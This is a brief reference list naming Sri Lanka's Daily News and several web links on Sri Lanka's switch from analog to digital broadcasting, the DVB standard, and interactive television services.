- Sri Lanka’s Daily News
- http://www.dvb.org/about_dvb/dvb_worldwide/sri_lanka/
- http://www.lbn.lk/channels.html
- http://www.asiantribune.com/news/2009/10/28/sri-lanka-will-end-analog-tv-and-radio-transmissions-plans-go-digital
- http://broadcastengineering.com/mag/broadcasting_benefits_interactive_enhanced/
- http://www.oiv.hr/media/formatting-packaging/interactive-tv/interactive-tv_en.aspx
- http://www.sysmedia.com/solutions/interactive_solutions.asp?gclid=CJ7_yd2lw60CFQd66wodIUbiBQ
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